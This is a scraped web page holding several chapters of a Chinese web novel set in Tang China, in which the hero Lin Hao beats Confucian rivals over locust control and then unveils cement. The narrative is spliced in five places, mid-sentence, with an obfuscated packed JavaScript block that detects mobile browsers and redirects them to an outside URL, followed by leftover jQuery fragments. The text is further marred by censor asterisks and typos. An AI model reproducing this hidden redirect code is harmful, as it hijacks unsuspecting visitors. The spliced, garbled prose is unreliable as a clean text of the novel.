他亲自宣布,此次代表国子监出战的主辩手,将是兰陵萧氏的麒麟子,大儒萧瑀的关门弟子,被誉为“百年一遇”的儒学天才——萧景琰!
萧景琰!
这个名字一出,长安士林彻底沸腾。
此人年仅二十,却已名满长安。
据说他三岁能诵,七岁成文,十五岁时一篇《安边策》被呈送御前,引得李世民龙颜大悦,御笔亲批八个大字:“经纬天地,有宰相才!”
在所有人看来,让萧景琰出战,这已经不是比试,而是单方面的碾压。
林浩的“匠人之学”,在真正的治国安邦大策面前,将显得何其幼稚,何其不堪一击!
皇家科学院内。
李丽质秀眉紧蹙,脸上满是忧色:“林浩,你太冲动了。这个萧景琰我听说过,他不仅学问好,其背后更是整个江南士族集团。这次比试,已经不是你和孔颖达的恩怨,而是我们这些新势力,与盘根错节的旧贵族的全面对决!”
她很清楚,一旦输了,林浩和他的科学院将万劫不复。
林浩却像个没事人一样,正饶有兴致地看着墨顿在一块泥板上写写画画。
“殿下,别担心。”他头也不回地说道,“兵来将挡,水来土掩。他们有他们的阳关道,我有我的独木桥。”
他根本不在乎那个萧景琰有多大名气。
名气,能当饭吃吗?能杀敌吗?能让百姓过上好日子吗?
“墨顿,”林浩忽然开口,“把你父亲手稿里,所有关于‘组织架构’和‘模型推演’的部分,都给我整理出来,越详细越好。”
“是,师父!”墨顿虽然不明白师父要做什么,但还是立刻点头应下。
看着这对奇怪的师徒,李丽质心中的担忧更甚。
林浩看出了她的不安,笑了笑,终于转过身来,认真地看着她:“殿下,你觉得儒家和我们最大的区别是什么?”
李丽z质想了想:“他们讲究教化,讲究德行,而你……你更注重实效。”
“说对了一半。”林浩伸出一根手指摇了摇,“他们谈论的是‘道’,是‘为什么’,是‘应该怎么样’。这些东西,听起来很高深,但摸不着,看不见,也无法验证对错。”
“而我们要做的,是用墨家的‘术’,也就是方法和
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391650|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
工具,将他们口中的‘道’,变得看得见,摸得着,可以测量,可以验证!”
“他们空谈理论,我就要用事实说话。我要把他们务虚的‘道’,拖到我们务实的‘术’的战场上来,然后用丰富的经验打败他们!”
“我要让陛下,让满朝文武,让全天下的百姓都亲眼看到,到底谁的学问,才能真正地强国富民!”
这番话,让李丽质心神剧震。
她忽然明白了,林浩要做的,根本不是在对方的规则里赢得比赛,而是要彻底颠覆比赛的规则!
三天后,大比第一场“格物”的题目,由皇帝亲自拟定,昭告天下。
题目是:不耗一兵一卒,不动用府库钱粮,如何在一个月内,根除长安城外蝗灾之隐患。
题目一出,国子监那边传来一阵嗤笑。
孔颖达与萧景琰聚在一起,看着这道题,脸上满是轻蔑。
“蝗灾乃天灾,自古有之,非人力可为。”萧景琰一袭白衣,风度翩翩,言语间充满了自信,“此题之解,不在于如何捕蝗,而在于为何生蝗。此乃上天对君王德行之警示。我只需写一篇策论,从‘君王修德’、‘天人感应’的角度切入,引经据典,便可立于不败之地。”
孔颖达捻着胡须,满意地点头:“景琰所言极是。林浩那套工匠之法,面对煌煌天威,又有何用?此战,我等必胜!”
而另一边,皇家科学院的空地上。
林浩却带着墨顿和几个新招募来的匠人,热火朝天地忙碌起来。
他们没有去研究什么典籍,也没有去讨论什么君王德行。
而是在科学院的空地上,用泥土和沙石,搭建起一个占地数丈的巨大沙盘。
沙盘上,山川、河流、村庄、田野的轮廓清晰可见,赫然便是长安城周边的地形微缩图。
紧接着,林浩又让程咬金的儿子程处默,利用卢国公府的关系,从城中各个药铺和石料场,采购了海量的石灰,以及一种名为“除虫菊”的特殊植物。
长安城的百姓和士子们都看懵了。
这是在干什么?
面对蝗灾这种天威,不沐浴焚香,祈求上天宽恕,反倒在这里玩起了泥巴?
凉州侯,莫不是疯了?
就在全城瞩目,所有人都等着看林浩笑话的时候。
幽暗的东宫之内。
被禁足的太子李承乾,正一脸阴沉地坐在书案前。
忽然,窗外传来一声极轻微的鸟鸣。
他神色一动,走到窗边,一只信鸽正好落下。
他熟练地从信鸽腿上解下一个小小的竹管,打开后,里面只有一张小小的纸条。
纸条上,是四个墨迹未干的字。
“静待蝗起”。
第83章:科学打脸文豪,蝗虫预言成真!
三日后,太极殿前的广场上人山人海。
儒墨大比第一场“格物”比试,在万众瞩目中正式开始。
巨大的高台搭建在广场中央,台下黑压压坐着数万百姓。
文官武将分列两侧,李世民高**,俯瞰全场。
“有请国子监代表,兰陵萧氏,萧景琰!”
礼官高声唱名,一袭白衣的萧景琰缓步登台。
二十岁的年纪,面如冠玉,举手投足间尽显世家风范。
台下立刻响起一片喝彩声,尤其是那些太学学子们,更是激动得面红耳赤。
萧景琰对着龙椅深深一拜:“臣萧景琰,见过陛下。”
“免礼平身。题目你已知晓,开始作答吧。”
萧景琰点头,转身面向台下万千观众,清了清嗓子:“诸位,蝗灾之题,看似问的是治虫之法,实则考的是治国之道!”
“自古以来,蝗灾乃上天示警。《春秋》有云:''螽斯羽,诜诜兮。宜尔子孙,振振兮。''此言天人感应,君德有亏,则虫患四起!”
台下的大儒们频频点头,孔颖达更是捋着胡须,满脸赞许。
“那么,何谓君德有亏?”萧景琰踱步台上,侃侃而谈,“《尚书》曰:''天视自我民视,天听自我民听。''陛下圣明,然天下之大,难免有贪官污吏、苛政暴敛之事。百姓疾苦,上达天听,故降蝗虫以示警戒!”
这番话说得台下百姓连连称是。
什么贪官污吏,什么苛政暴敛,这些他们都深有体会啊!
萧景琰见气氛正浓,继续发挥:“因此,要根除蝗患,不在捕虫,而在修德!臣建议,陛下当下罪己诏,大赦天下,并率百官于太庙祈福七日。以至诚之心感化上天,则蝗灾自退,不攻自破!”
“好!”
“说得好!”
台下掌声雷动,就连一些武将都被说得心潮澎湃。
不愧是百年一遇的儒学天才,这番话说得何等高深,何等有理有据!
孔颖达激动得胡须乱颤:“妙哉!妙哉!景琰此言,深得圣贤真意!以德化天,以诚感神,此乃治国之根本,强民之大道!”
李世民坐在龙椅上,面色不动,看不出喜怒。
萧景琰洋洋洒洒讲了半个时辰,从《诗经》说到《春秋》,从《尚书》论到《易经》,引经据典,文采飞扬。
最后他深深一拜:“臣之陋见,还请陛下明鉴!”
掌声如潮水般响起,整个广场都在为这位年轻的大儒喝彩。
“有请皇家科学院代表,凉州侯林浩!”
掌声戛然而止。
林浩缓步走上高台,身后跟着墨顿和几个匠人,他们合力抬着一个巨大的木板,上面用黑布严严实实地遮着。
台下传来窃窃私语声。
“这是要干嘛?还带道具?”
“莫不是要变戏法不成?”
林浩走到台中央,对着龙椅拱手:“臣林浩,见过陛下。”
“免礼。”李世民淡淡道,“开始吧。”
林浩点头,一把扯掉黑布。
一个占地数丈的巨大沙盘出现在所有人面前!
山川河流,村庄田野,道路桥梁,连长安城的城门城墙都清晰可见。
整个长安周边百里的地形,被完美地复制在这个沙盘之上!
全场寂静,所有人都被这个精美绝伦的微缩模型震撼了。
“诸位,”林浩的声音在广场上响起,“萧公子刚才说,蝗灾乃天降。可我要告诉大家,蝗虫并非从天而降,而是土中而生!”
他从怀中取出一个布包,小心打开,里面是一块拳头大小的泥土。
“这是我昨日从城外挖来的土块。诸位请看!”
林浩用小刀轻轻刮开泥土表面,密密麻麻的白色颗粒立刻显露出来。
“这些,就是蝗虫卵!一块土里就有数百枚!”
台下爆发出惊呼声,就连龙椅上的李世民都微微前倾身子。
“蝗虫的生命周期,分为卵、若虫、成虫三个阶段。”
林浩继续解释,“它们在秋季交配产卵,卵在土中过冬,来年春夏孵化。这些虫卵,最喜欢在向阳、干燥的河滩沙地中繁殖!”
说着,他指向沙盘上用红色小旗标记的几十个地点。
“按照地形分析和实地勘察,这些地方就是蝗虫的主要产卵区!”
兵部尚书李靖猛地站起身,脸上满是震惊。那些红旗标记的位置,与他掌握的历年蝗灾重灾区,竟然完全吻合!
萧景琰见状,冷笑一声:“林侯爷好大的口气!即便你说得天花乱坠,可这些不过是你的一家之言。蝗虫乃上天所降,岂是凡人能够预测?”
“更何况,即便真如你所说,这满地都是虫卵,你又如何能在一个月内
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391651|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尽数清除?莫非要掘地三尺,把半个长安城都翻个遍不成?”
台下传来哄笑声,许多人都觉得萧景琰说得有理。
林浩却不慌不忙拍了拍沙盘:“萧公子问得好。我的方案确实需要大量人力,但绝不是漫无目的地乱挖。”
“我已经将所有蝗卵**地精确标注。按区域划分,派遣民夫分片负责。挖开这些区域后,用石灰水混合青蒿汁液进行浇灌。”
“石灰水呈强碱性,能够破坏虫卵的蛋白质结构。而青蒿的特殊气味,能够驱赶那些已经孵化的幼虫,使其无法**成群。”
墨顿适时上前,捧着一个陶罐:“师父,青蒿汁液已经调制好了。”
林浩接过陶罐,将里面的液体倒在刚才那块土上。
顿时,一股清香的味道弥漫开来,那些白色的虫卵竟然以肉眼可见的速度变黑萎缩!
全场再次哗然!
孔颖达脸色铁青,厉声道:“荒唐!此法劳民伤财,兴师动众!我大唐数万百姓,难道都要去当你的挖土工不成?远不如君王祈福来得简单有效!”
“祈福?”林浩冷笑,“请问孔祭酒,历朝历代的皇帝哪个不祈福?为何蝗灾依然年年有之?难道历代君王的诚意都不够?”
孔颖达被问得哑口无言。
就在这时,广场外忽然传来急促的马蹄声。
一名斥候飞马冲到台前,翻身下马,单膝跪地:“启禀陛下!城外十里铺、南坡村、东河湾三处,发现大量蝗虫幼体!数量极多,正在啃食庄稼!”
全场死寂。
李世民霍然起身:“你说什么?”
“回陛下,三处村庄的位置,与......与林侯爷沙盘上标记的重灾区完全一致!村民们正在想办法驱赶,但收效甚微!”
轰!
整个广场彻底沸腾了!
林浩竟然真的预测对了!蝗虫真的从他标记的地方冒出来了!
萧景琰脸色煞白,身子摇摇欲坠。
孔颖达更是如遭雷击,张着嘴半天说不出话来。
李世民深深看了林浩一眼,猛地一拍龙椅扶手:“传旨!京兆府尹即刻按林侯爷之法执行!调集民夫,分区清理!一个月后,朕要看到结果!”
“遵旨!”
京兆府尹连忙出列领旨。
李世民重新坐下,朗声宣布:“第一场比试,一月后见分晓!”
第84章:区区**战,看我玩个大的
太极殿的圣旨一下,整个京兆府便以前所未有的效率运转起来。
京兆府尹得了死命令,不敢有丝毫怠慢,连夜调集了数千名民夫,按照林浩沙盘上标注的区域,浩浩荡荡地开赴城外。
一时间,长安城外,渭水河畔,那些平日里荒芜的沙地和河滩上,人声鼎沸,尘土飞扬。
数千人挥舞着锄头和铁锹,在划定的区域内展开了地毯式的挖掘。
场面蔚为壮观。
林浩则亲自坐镇指挥,他让墨顿和几个匠人带着早就备好的图纸,将民夫们分成上百个小组,每组负责一块区域,流水线作业,效率极高。
挖开表层土壤后,触目惊心的蝗卵暴露出来,密密麻麻,让人头皮发麻。
紧接着,一车车早已备好的石灰水和青蒿汁混合液被运送过来,由专人背着木制的喷洒器,对着翻开的土地均匀喷洒。
刺鼻的石灰味和独特的青蒿清香混合在一起,弥漫在空气中。
然而,这番热火朝天的景象,在某些人眼中,却成了大逆不道的铁证。
兰陵萧氏府邸。
萧景琰一袭白衣,手捧着一卷书,姿态优雅地坐在窗前,但他的眉头却紧紧锁着。
孔颖达在他对面来回踱步,神情焦躁。
“景琰,不能再等了!”孔颖达停下脚步,语气沉重,“那林浩竟然真的预测对了蝗灾爆发之地,如今在朝堂上,风向已经有些变了。就连老夫都没想到,他那套歪理邪说,竟有如此蛊惑人心的力量!”
萧景琰缓缓放下书卷,嘴角勾起一抹冷峭的弧度。
“孔祭酒稍安勿躁。他预测对了又如何?不过是些观察虫蚁的雕虫小技罢了。”
他站起身,走到窗边,望着城外的方向。
“他以为他是在治蝗?不,他是在掘大唐的龙脉,乱我朝的风水!他用那些污秽之物浇灌土地,看似杀**虫卵,实则是以毒攻毒,此乃取乱之道,必引**!”
孔颖达眼睛一亮:“景琰的意思是……”
“民心可用。”萧景琰声音清冷,“百姓愚昧,只知天威难测。林浩此举,看似雷厉风行,实则处处都是破绽。他这是在与天争利,与地争气,与神争威!我等只需顺水推舟,便可让他万劫不复。”
当夜,一篇由萧景琰亲笔撰写的《谏治蝗疏》横空出世。
文章文采斐然,引经据典,痛斥林浩以“工匠之术乱天道”,称其挖掘土地、喷洒“毒水”的行为是“伤天地之和气,绝万物之生机”,长此以往,必将导致土地败坏,水源污染,最终引来更大的天谴。
这篇文章如同投下了一颗巨石,在长安士林中激起千层浪。
紧接着,一个更可怕的谣言,如同瘟疫般在长安城的街头巷尾迅速蔓延开来。
“听说了吗?凉州侯用的那是‘石灰毒水’!”
“什么毒水?”
“就是浇到地里的东西!那玩意儿毒性大得很,别说虫卵了,浇下去之后,那片地三年都长不出庄稼!连喝了附近河水的人畜,都会生怪病!”
“我的天!这么歹毒?那不是要把咱们的活路都断了?”
“谁说不是呢!这是在用咱们子孙后代的命,换他一个人的功劳啊!”
谣言越传越离谱,越传越惊悚。
从“土地沙化”到“水源剧毒”,再到“引发瘟疫”,短短两天时间,林浩从一个预测蝗灾的能臣,变成了一个为了功劳不择手段、祸国殃民的“毒侯”。
城外挖土的民夫们最先受到了影响。
他们本就是为了工钱而来,现在听说自己干的活会毒害家乡的土地,甚至可能让自己和家人染上瘟疫,谁还敢继续干?
“不干了!这钱俺们不挣了!这是**的活儿!”
“没错!再挖下去,咱们都得死!”
恐慌迅速蔓延,民夫们开始磨洋工,工作效率大减。
更有甚者,一些人直接丢下工具,偷偷逃回了家。
原本井然有序的治蝗工地,开始出现小规模的混乱和**。
消息传回朝中,孔颖达立刻抓住了机会。
他联合了数十名御史台的官员,再次集体上奏。
“陛下!林浩倒行逆施,以灭绝之法治蝗,已致**人怨!长安城外民怨沸腾,皆言其所用之法伤天和,违祖制,恐招更大灾祸!恳请陛下降旨,立刻叫停此等恶行,将林浩下狱问罪,以安民心,以慰天心!”
数十名官员跪在太极殿内,声泪俱下,场面极具冲击力。
李世民坐在龙椅之上,脸色阴沉得能滴出水来。
他没想到,一场原本稳操胜券的治蝗行动,竟然会演变成一场席卷全城的**风波。
他当然不信什么“石灰毒水”的鬼话,但他不能不顾及沸腾的民怨和整个文官集团的压力。
“宣林浩,即刻入宫!”
甘露殿内,气氛压抑。
李世民看着阶下神色平静的林浩,心中的烦躁更甚。
“林浩,你还有什么话说?”李世民的声音听不出喜怒,“如今满城都在传你的‘石灰毒水’,城外的民夫已经开始逃散。你让朕如**你?”
“陛下,谣言止于智者,但不止于庸人。”林浩不卑不亢,“臣所为,皆是格物致知之法,绝无半点虚假。只是百姓愚昧,易被
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391652|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奸人煽动。”
“朕不管什么庸人智者!”李世民猛地一拍桌案,“朕只给你三天时间!三日之内,平息民怨!若做不到,治蝗之事你不用再管,皇家科学院也给朕关门!”
从皇宫出来,林浩直接回了皇家科学院。
李丽质早已等得心急如焚,一见他回来,立刻迎了上去。
“林浩,怎么样了?父皇他……”
“给了我三天时间。”林浩的表情看不出任何焦虑,反而显得兴致勃勃。
“三天?!”李丽质大惊失色,“三天怎么可能平息这么大的风波?那些谣言已经传得神乎其神了!”
“殿下,别担心。”林浩笑了笑,“他们想玩**战,那我就陪他们玩一场大的。”
他转身看向一旁的墨顿。
“墨顿,去准备一些石灰、几块石头,还有咱们培育的青蒿苗和几盆普通麦苗。另外,去《京城快报》报社,发一则公告。”
“师父,发什么公告?”
林浩嘴角微微上扬,眼中闪过一抹狡黠。
“就说,凉州侯林浩,为破除妖言,将于次日在朱雀门广场,当着全城百姓的面,公开展示‘石灰水点石成金,青蒿液五谷丰登’之神迹!”
这则公告一出,整个长安城再次炸开了锅。
兰陵萧氏府邸内,萧景琰听到这个消息,忍不住抚掌大笑。
“哈哈哈哈!黔驴技穷!他已经是黔驴技穷了!”
“点石成金?五谷丰登?他以为自己是神仙吗?这等装神弄鬼的把戏,也想骗过天下人?明日,我便组织国子监的门生,当着全城百姓的面,将他的戏法一一戳穿,看他如何收场!”
而此时,幽暗的东宫之内。
李承乾站在窗前,听着手下的汇报,低声自语:“闹吧,闹得越大越好。等蝗灾真的成了气候,等真正的天灾降临时,我看他林浩,又拿什么来点石成金。”
《京城快报》的公告,如同一阵狂风,不仅席卷了长安,甚至传到了城中鸿胪寺的各个驿馆。
新罗、百济、吐蕃、突厥……各国前来朝贡或贸易的使节,全都被这则耸人听闻的公告吸引了。
“点石成金?这大唐的侯爷,莫非是位炼金术士?”
“此事关乎大唐的农业技术,非同小可,必须亲眼去看看!”
“去,备车!明日朱雀门广场,我们一定要去!这或许是窥探大唐真正实力的最好机会!”
一场原本只是为了平息民怨的危机公关,在林浩的亲手推动下,骤然升级成了一场万众瞩目,甚至关乎大唐国威的公开展示。
这一次,他只能赢,不能输。
第85章:当众表演炼金术,外邦使臣看呆了
朱雀门广场。
黑压压的人头从广场中央一直延伸到街道尽头,数万百姓将高台围得水泄不通。
文官武将分列两侧,各国使节团占据了最佳观赏位置,连城墙上都站满了人。
“让开让开!国子监的学子来了!”
萧景琰一袭白衣,领着数十名太学生从人群中穿过,走到台前最显眼的位置。
他今日特意梳妆打扮,风度翩翩,引得不少百姓指指点点。
“萧公子今日定要戳穿那林浩的鬼把戏!”
“没错!什么点石成金,简直是把咱们当傻子!”
台上,林浩已经准备就绪。
他身前摆放着几个陶盆,里面分别装着白色的石灰、褐色的黏土、黑色的矿渣,还有几块从路边捡来的普通石头。
除此之外,还有一个早就准备好的砖砌窑炉,炉膛内火光熊熊。
“凉州侯,开始你的表演吧!”
萧景琰朗声道,“今日满城百姓都在此处,若你真能点石成金,我萧景琰甘拜下风!但若是装神弄鬼,可别怪学子们不客气!”
台下立刻响起一片叫好声。
林浩淡淡扫了他一眼:“萧公子如此心急,莫非是害怕了?”
“笑话!”萧景琰冷笑,“炼金之术,早在前朝就被先贤证伪。君不见,秦皇汉武求仙问药,最终不过是竹篮打水!你今日若能将石头变成黄金,我便承认你那奇技淫巧胜过圣贤经义!”
“好!”林浩点头,“萧公子此话当真?”
“君子一言,驷马难追!”
“那就请萧公子睁大眼睛看好了。”林浩转向墨顿,“开始配制金粉。”
墨顿应声上前,按照师父之前的吩咐,将石灰、黏土、矿渣按照精确的比例混合。他的动作熟练而精准,显然早已练习过无数遍。
台下嘘声四起。
“就这?用泥巴和石灰粉搅一搅就能变黄金?”
“凉州侯莫不是疯了?”
萧景琰更是抚掌大笑:“林浩,你这是在侮辱在场所有人的智商!泥土就是泥土,石灰就是石灰,如何能变成黄金?莫非你当我们都是三岁孩童不成?”
林浩没有理会嘲讽,指挥墨顿将混合好的原料投入窑炉。
“煅烧一个时辰,温度不得低于一千度。”
墨顿点头,开始往炉膛里添加煤炭。火焰越烧越旺,炉温急剧上升,整个广场都能感受到扑面而来的热浪。
“师父,现在做什么?”
“浇麦苗。”林浩走到另一边,那里放着两盆麦苗。一盆翠绿茂盛,另一盆则因干旱而发黄枯萎。
他拿起早已准备好的青蒿液,仔细稀释后,全部浇在那盆枯黄的麦苗上,然后将盆子放到阳光最充足的地方。
台下哄笑声更大了。
“哈哈哈!这就是五谷丰登?往死苗上浇点草药水?”
“凉州侯真的疯了!植物什么时候能靠浇药水起死回生?”
萧景琰见状,立刻抓住机会:“诸位请看!林浩此举更显其荒唐!《月令》有云:‘春生夏长,秋收冬藏。’万物生长自有天时,岂是人力所能强求?”
“他以为往枯苗上浇几滴草药汁,就能让死苗复活?这等违背天道的妄想,简直是对天地的亵渎!”
台下的百姓纷纷点头称是。萧景琰说得有道理啊,植物的生长哪有那么容易?更何况那盆麦苗都已经枯黄成那样了,明显是活不成了。
就在众人议论纷纷时,使节团那边出现了一丝异样。
大秦国的使臣利奥突然站起身,死死盯着台上的窑炉,眼中满是不可置信的神色。
作为来自君士坦丁堡的贵族,他对各种工艺都有所了解。
“那是......烧制工艺?”他用蹩脚的汉语小声嘀咕,“可是他们在烧制什么?”
吐蕃使臣也察觉到了什么:“那个配比......石灰、黏土、矿渣......这种组合......”
突厥使臣皱眉:“我在西域见过类似的工艺,但没想到大唐也有。”
各国使臣交头接耳,神情变得凝重起来。他们隐约觉得,今日要见证的,可能不是什么江湖把戏,而是某种他们闻所未闻的技术。
一个时辰很快过去。
窑炉内的煅烧已经完成,炉温也逐渐降了下来。墨顿用长柄铁钳将烧制好的物料夹出,那是一块块黑乎乎的固体,表面粗糙,毫无美感。
“师父,熟料制成了。”
林浩点头,命人将这些黑色固体搬到台前,然后拿起一把大锤。
砰!砰!砰!
沉闷的击打声响彻广场,那些黑色固体被砸成粉末,散发着一股特殊的气味。
“诸位请看,这就是金粉。”林浩扬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391653|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起一把黑色粉末,在阳光下闪闪发光。
台下爆发出更大的嘲笑声。
“金粉?这黑乎乎的东西也叫金粉?”
“凉州侯真当我们没见过黄金吗?金子是黄的,这玩意儿黑得跟煤炭似的!”
“哈哈哈!这就是他的点石成金?把石头烧成黑炭就叫成金?”
萧景琰更是讥讽道:“林浩,你已经疯癫到这种地步了吗?黑色的粉末也敢称作金粉?你这是在羞辱黄金,更是在羞辱在场所有人的眼睛!”
林浩没有反驳,而是命人端来清水和沙石。
他将那些黑色粉末与沙石、水按比例混合,用木棍不断搅拌。
很快,一团灰色的泥浆状物质出现在众人眼前。
“这......这又是什么把戏?”有百姓疑惑道。
林浩没有解释,而是将泥浆倒入一个预制好的长方形木质模具中。泥浆很快填满了模具,表面平整光滑。
紧接着,他拿起一块拳头大小的普通石头,缓缓按入泥浆中。
石头的一半没入泥浆,另一半则悬在空中,看起来摇摇欲坠,似乎随时会掉下来。
“点石已毕。”林浩拍拍手,“半个时辰后,便是成金之时。”
全场一片死寂。
所有人都瞪大眼睛看着那个模具,里面就是一团灰色的泥浆和一块普通石头,哪里有半点黄金的影子?
“这就完了?”萧景琰哈哈大笑,“林浩,你的点石成金就是把石头按进泥浆里?然后等半个时辰?你是在逗我们玩吗?”
台下的百姓也反应过来,顿时嘘声四起。
“骗子!彻头彻尾的骗子!”
“什么点石成金,分明是胡言乱语!”
“凉州侯完蛋了!这次真的要身败名裂了!”
然而就在此时,使节团中的大秦使臣利奥脸色剧变。
他死死盯着那团灰色泥浆,整个人如遭雷击。
作为来自建筑技术发达的拜占庭帝国的贵族,他对各种建材都有深入了解。
“不可能......这不可能......”他颤抖着声音,“那是......那是传说中的......”
就在众人等待着看林浩出丑的时候,突然有人指着那两盆麦苗惊呼起来。
“快看!那盆麦苗!”
所有人顺着声音看去,顿时倒吸一口凉气。
第86章:水泥一出,吓傻满朝文武
那盆原本枯黄萎蔫的麦苗,在短短一个时辰内,竟然抽出了嫩绿的新芽!
“这……这怎么可能?”
“我的天,那些枯苗真的活过来了!”
台下的惊呼声此起彼伏,前排的百姓全都站起身来,踮着脚尖往台上看。
原本一片焦黄的麦苗,此刻竟然泛出点点新绿,那些即将枯死的叶片重新挺直,仿佛被注入了新的生命力。
萧景琰脸色煞白,但还是强撑着大声辩驳:“诸位莫要被骗!这定然是障眼法!或许青蒿本就是某种罕见的催生之物,与那所谓的石灰毒水毫无关系!”
“景琰说得对!”孔颖达也连忙附和,“植物岂能起死回生?必有蹊跷!”
台下的百姓们半信半疑,窃窃私语声不断。
毕竟这等景象实在太过神奇,让人难以置信。
林浩没有理会质疑声,而是看了看日影:“半个时辰已到。”
他走到那个装着灰色泥浆的模具前,在所有人屏息凝神的注视下,缓缓移开了木质模具的侧板。
轰!
一块与模具形状完全一致的灰色“石块”出现在众人面前!
这块“石头”表面平整光滑,质地致密,之前那块被按入泥浆的普通石头,此刻被牢牢嵌合在其中,天衣无缝,仿佛本就是一体的!
全场瞬间陷入死寂。
“这……这是什么?”
“泥浆变成石头了?”
萧景琰瞪大双眼,死死盯着台上那块灰色石块,整个人如遭雷击。
林浩拍了拍手:“来几个力士上台,试试这块石头的硬度。”
几名禁军力士应声上台,其中一人抡起大锤,对准嵌在其中的那块普通石头猛砸下去。
砰!
普通石头应声而碎,碎片四散飞溅。
但嵌在灰色石块中的那部分,却纹丝不动,与周围的“人造石”浑然一体!
“再试试这块灰石头!”林浩指着自己制作的部分。
力士们互相对视一眼,一起举起大锤,轮番猛砸。
砰!砰!砰!
沉闷的撞击声响彻广场,然而数锤下去,那块灰色石头竟只被砸出几个白点,本体却完好无损!
“这……”萧景琰嘴唇发颤,“这怎么可能?”
台下的百姓们彻底炸开了锅:
“我的天!真的点石成金了!”
“那块石头比城墙还硬!”
“凉州侯真的是神仙下凡!”
就在此时,使节席那边突然传来一声异常激动的呼喊。
大秦使臣利奥猛地冲出人群,用蹩脚的汉语高声喊道:“这是‘希腊火’的基座!是罗马失传的秘宝——‘神之泪’!”
他激动得浑身颤抖,指着台上的灰色石块:“传说中能建造万世不朽神庙的神石!竟然……竟然在大唐重现!”
吐蕃使臣也站起身来,眼中满是震撼:“这种工艺……我在雪域高原的古老传说中听过,据说能造出比山石更坚硬的‘地之精华’!”
突厥使臣更是脸色大变:“如果大唐掌握了这种技术……”
各国使节顿时骚动起来,他们交头接耳,神情凝重,显然都意识到了这项技术的恐怖价值。
林浩见时机成熟,朗声宣布:“诸位,此物名为‘水泥’!其价值远胜黄金万倍!一斗水泥,可筑成坚不可摧的城墙;十斗水泥,可建万世不倒的桥梁;百斗水泥,可令我大唐基业固若金汤!”
台下爆发出山呼海啸般的欢呼声。
“凉州侯威武!”
“大唐万年!”
“这才是真正的神迹!”
林浩抬手示意安静,继续说道:“至于青蒿液与石灰水的配合,非但无毒,反而能中和土壤酸性,杀灭虫卵。其残留物更能化为''土之精粹'',为作物提供养分,促进生长。这才是真正的''五谷丰登''!”
他指着那盆重新焕发生机的麦苗:“诸位请看,这些麦苗不是起死回生,而是获得了足够的养分,重新焕发生机。这就是格物致知的力量,这就是科学的奥秘!”
话音刚落,台下突然有人高声喊道:“抓住那些散布谣言的人!”
“对!就是他们说石灰水有毒的!”
“这些害人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391654|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
精,差点让我们错过神迹!”
人群中立刻出现骚动,那些之前帮着传播“石灰毒水”谣言的人,被愤怒的百姓当场揪了出来。现场一片混乱,叫骂声、争吵声此起彼伏。
萧景琰面如死灰,整个人仿佛被抽干了精气神。他引以为傲的经义策论,那些精妙的引经据典,在水泥的绝对硬度和麦苗的茁壮生长面前,显得如此苍白无力。
孔颖达也是浑身颤抖,眼中满是不敢置信。他们费尽心机想要打压的“奇技淫巧”,竟然真的创造出了奇迹!
而此时,龙椅之上的李世民,双手死死攥住扶手,指节都泛起了白色。
他看到的不仅仅是一块水泥,而是无数座固若金汤的坚城,无数条通往四方的大道,一座万世不朽的帝国基业!
“如果用这种‘水泥’重修长城……”李世民心中掀起巨浪,“如果用它建造宫殿、修筑河堤……”
他深深吸了一口气,缓缓站起身来。
全场瞬间安静下来,所有人都看向龙椅上的那道身影。
